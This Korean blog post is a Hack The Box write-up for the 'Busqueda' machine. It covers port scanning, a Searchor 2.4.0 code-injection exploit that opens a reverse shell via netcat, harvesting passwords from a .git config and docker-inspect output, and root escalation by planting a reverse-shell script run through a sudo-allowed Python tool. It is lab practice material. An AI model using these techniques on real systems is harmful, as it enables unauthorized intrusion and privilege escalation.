ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Hack the Box - Busqueda 문제 풀이(write-up)
    OSCP/Hack The Box 2024. 8. 22. 13:29

    지난 포스팅에 이어서 이번엔 Busqueda 문제 풀이를 하는 시간을 가져보겠다.

     

    Busqueda는 easy 난이도이지만 나에게는 easy와 medium의 사이 느낌이다. 그래서 user 플래그까지 찾는 데에는 시간이 많이 소요되지 않았지만 root 플래그를 찾는데 시간이 많이 걸렸다. 첫 vip 결제 후 박스... 찾아보니 busqueda는 스페인어로  "찾다"라는 뜻이다. 블로그 포스팅을 위해 다시 한번 풀다가 처음 보는 htb의 vpn오류와 어제 됐는데 왜 오늘은 안 되지? 의 마법과 같은 문장이 발동했다. 푸는 데에 하루정도 걸렸으면 포스팅하는 데에 이틀은 걸린 것 같다.

     

    Busqueda 문제 요약

    -> 웹 서버의 프레임워크 취약점으로 사용자 계정[ svc ] 접근 후  user 플래그 획득 및 사용자 계정 비밀번호 획득 

    ->  sudo -l 로 루트 권한 실행 파일 및 명령어를 확인 후 gitea의 admin 계정 및 비밀번호 획득

    -> gitea 웹 페이지에서 system-checkup.py의 코드 분석 후 full-checkup 실행 시 현재 경로에서 인자를 받는 취약점을 발견

    ->  쓰기 및 실행 권한이 있는 디렉터리에서 리버스 쉘을 full-checkup.sh로 만들고 실행

    ->  루트 권한 획득

     

    1. 우선 target의 ip만 알고 있는 상황이고 그 외의 정보는 없다. 이런 상황에서는 스캐닝 작업이 들어가야 한다. 가장 먼저 port의 open 상태를 확인하기 위해 nmap을 사용하자.

    (옵션은 -sS 사용을 했고 TCP SYN 스캔을 수행한다.)

    웹 통신을 위한 80번 포트 open 확인

     

    2. 스캐닝한 결과를 통해 URL 입력창에 target ip를 입력하여 접근한다.

     

    3. ip로 접근 시 도메인 이름은 searcher.htb로 나오지만 접근이 안 되는 것을 확인할 수 있다.

     

    4. hosts 파일에 ip와 도메인 이름의 정보가 없어 접근이 안 되는 것이므로 vi 등 에디터로 정보를 넣어야 한다.

       -> vi /etc/hosts

       -> 키보드 "i"를 누른 후 입력 모드로 정보(ip & 도메인네임) 기입

       -> "esc"를 누른 후 명령모드로 나와 ":"(콜론)을 눌러 마지막 행 모드 진입.

       -> "wq" + "Enter"로 저장

     

    5. 새로고침을 하니 웹 페이지의 정보가 표시되는 것을 확인할 수 있다.

     

    6. 원하는 검색 엔진을 선택해서 입력 창에 검색을 하면 실제로 검색이 되는 페이지인 것을 확인했다. 이 페이지에서는 아무런 정보가 나오지 않은 것을 확인하여 서브도메인과 디렉터리가 있는지 브루트포싱을 하여 정보를 얻어내 보자.

     

    7. ffuf라는 파일 및 디렉터리 브루트포싱 도구로 웹 서버 하위 디렉터리를 찾아보았지만 search는 검색을 했을 때 post 메서드 값을 받아 결과를 출력해 주는 페이지이며 server-status는 접근 권한이 없음으로 나타난다.

     

    8. ffuf로 서브도메인 브루트포싱을 해보았고 subdomin.txt는 github에 올려져 있는 것을 다운로드하여 사용했다. 그러나 약 65만 개나 되는 단어 사전에 들어가 있는 것 중에서 맞는 결괏값이 없는 것으로 나타난다.

     

    9. 메인 페이지를 다시 자세히 보니 Flask and Searchor 2.4.0으로 만들었다는 정보가 나와있다. 

     

    10. 프레임 워크 버전의 취약점을 구글링 하니 github에서 exploit.sh라는 리버스 쉘 코드가 올라와 있는 것이 확인된다.

     

    11. 코드를 확인해 보니 기본 포트는 9001로 설정되어 있다. 리버스 셸 명령어를 base64로 인코딩한다. evil_cmd 변수에는 악성 명령어가 들어가고, Python 코드의 형태로 구성되어 있으며, __import__('os').system()을 사용해 시스템 명령어를 실행한다.

    사용자의 입력이 제대로 검증되지 않고 있기 때문에 Python의 동적 코드 실행 함수( __import__('os').system)로 시스템 명령어를 인젝션 할 수 있어 취약점이 발생하고 있다.

    -> 마지막 줄 코드에 리버스 쉘을 위한 명령어가 존재한다. ./exploit.sh [target ip] [attacker ip] [port]

     

    12. -> nc -lvp 9001로 9001 포트를 열어놓고 대기한다.

          -> ./exploit.sh [target ip] [attacker ip] [port]를 입력해 리버스 쉘 코드를 실행한다.

          -> svc라는 user id로 웹 서버 루트 디렉터리에 접속이 성공한다.

     

    13. 여기저기 디렉터리를 이동하면서 svc 사용자 계정의 홈 디렉터리에서 user.txt 플래그를 발견했다. 이제 루트 권한까지 얻어내서 root.txt 플래그를 찾는 일만 남았다.

     

    14. sudo -l 을 실행하여 root권한으로 실행할 수 있는 명령어들을 보려 했지만 패스워드 입력을 해야 한다고 한다. svc 사용자 계정의 비밀번호를 우선 먼저 찾자.

     

    15. 웹 서버 루트 디렉터리로 이동하여 ls -al을 했더니 .git으로 숨겨져 보이지 않았던 디렉터리가 발견됐다. 여기서 이 디렉터리의 파일들을 다 확인해 보면 여러 가지 정보들을 찾을 수 있을 것 같아 확인해 보았다. 그중에서 config 파일 안에 비밀번호로 보이는 글자를 발견하여 로컬 pc에서 svc계정으로 ssh 접근을 해보았다.

     

    16.  echo "password" | sudo -S -l 로 명령어를 사용해 확인해도 되지만 어차피 ip와 사용자계정 id, password까지 알고 있고 nmap에서 22번 포트의 open을 확인했으니 이왕 ssh 접근을 시도해 보자. ssh 접근을 시도해 봤더니 config에 있는 문자가 svc 계정의 비밀번호가 맞아 ssh접속이 되는 것이 확인된다.

     

    17. root 권한으로 딱 하나 python3를 이용해 system-checkup-py을 구동할 수 있는 것으로 확인되다. 이때 " * " 표시를 보면 와일드카드를 뜻하며 어떠한 인자든 추가할 수 있다는 뜻이다. 

     

    18. sudo 명령어를 통해 system-checkup.py 를 구동하였더니 사용법에 arg1, arg2 로 인자를 붙여 사용하라고 나와있고 3가지의 사용 명령어 및 파일이 나와있다. docker-ps는 실행 중인 도커 컨테이너의 목록을 보여주고, docker-inspect특정 컨테이너의 이미지의 구성, 환경 변수, 네트워크 설정, 마운트 된 볼륨 등의 자세한 정보를 JSON 형식으로 보여주는 명령어이다. 그리고 full-checkup은 출제자가 만든 특정 스크립트로 추정된다.

     

    19. docker-ps의 명령어로 본 결과는 gitea, mysql의  호스트와 컨테이너 간의 포트 매핑 정보가 나와있으며 gitea는 3000,222번 포트, mysql은 3306번 포트로 접근할 수 있다.

    명령어 : sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

     

    20. docker-inspect는 포맷과 컨테이너이름을 인자로 받고 있는 것으로 확인된다. 그래서 포맷에는 json을 입력하여 모든 정보를 json형식으로 보여달라 요청하고 컨테이너 이름은 gitea로 했다. (여기서 db는 보여주지 않겠다. 나는 mysql을 inspect로 돌린 결과로 db root 비밀번호를 알아냈고 시간을 들여 찾아봤지만 결국 아무것도 건진 게 없었기 때문이다.)

     

    21. 리눅스 cli창에서는 찾기 힘드니 메모장에 결과를 붙여 넣고 Ctrl+F로 검색하여 찾아보면 gitea의 password를 찾을 수 있게 된다.

     

    22. 여기서 gitea의 도커 컨테이너를 로컬 PC에서 3000번 포트를 통해 ssh로 포트포워딩하여 원격접속을 시도하기 위한 명령어를 입력했다.

     

    23. http://127.0.0.1:3000/ 으로 로컬 PC(칼리 리눅스)에서 웹 접속을 시도해 보면 target ip에서 올려놓은 gitea 페이지가 뜨는 것을 확인할 수 있다. 

    (gitea는 오픈 소스 분산 버전 관리 시스템으로, Git을 사용하여 소스 코드 관리를 할 수 있는 경량화된 Git 서비스이며 자체 호스팅이 가능한 것이 특징이다.)

     

    24. sign in 버튼을 클릭하여 administrator로 로그인을 시도해 보자. (비밀번호는 아까 docker-inspect로 찾은 값을 대입하려고, ffuf로 하위 디렉터리를 검색했을 때 administrator라는 디렉터리가 나오기도 하고 15번에서 config 말고 logs 디렉터리의 HEAD 파일을 출력해 보면 administrator라는 이메일 아이디가 나오게 된다.)

     

    25. admin 계정으로 로그인이 되는 것을 확인할 수 있다. 그리고  admin이 scripts를 올려 관리하는 활동 흔적을 발견했다.

     

    26. script를 눌러 들어가 보면 system-checkup-py가 보인다. 이건 아까 target ip 서버에서 발견한 파이썬 파일과 같은 이름으로 확인된다. 누르면 스크립트의 코드 내용을 볼 수 있게 되어있다.

     

    27.  여기서 full-checkup의 47번째 줄 코드의 인자를 보면 현재 경로에서  실행을 하는 방식으로 만들어져 있다. 그렇다면 쓰기, 실행하기를 할 수 있는 곳에서 리버스 쉘 코드를 넣고 full-checkup.sh를 만들면 system-checkup.py를 sudo 권한으로 실행했을 때 그 코드가 실행될 것이다.

     

    28. 쓰기 권한이 있는 tmp나 home 디렉터리 등에 full-checkup.sh 파일을 만들고 그 안에 리버스 쉘 코드를 넣어 저장 후 root 권한으로 full-check를 실행시키면 4242번 포트로 대기하고 있는 로컬 pc에서 root 계정으로 쉘이 넘어가는 모습을 확인할 수 있다. Flag까지 획득

    'OSCP > Hack The Box' 카테고리의 다른 글

    Hack the Box - Updown 문제 풀이(write-up)  (4) 2024.08.27
    Hack The Box 시작하기  (0) 2024.08.20
Designed by Tistory.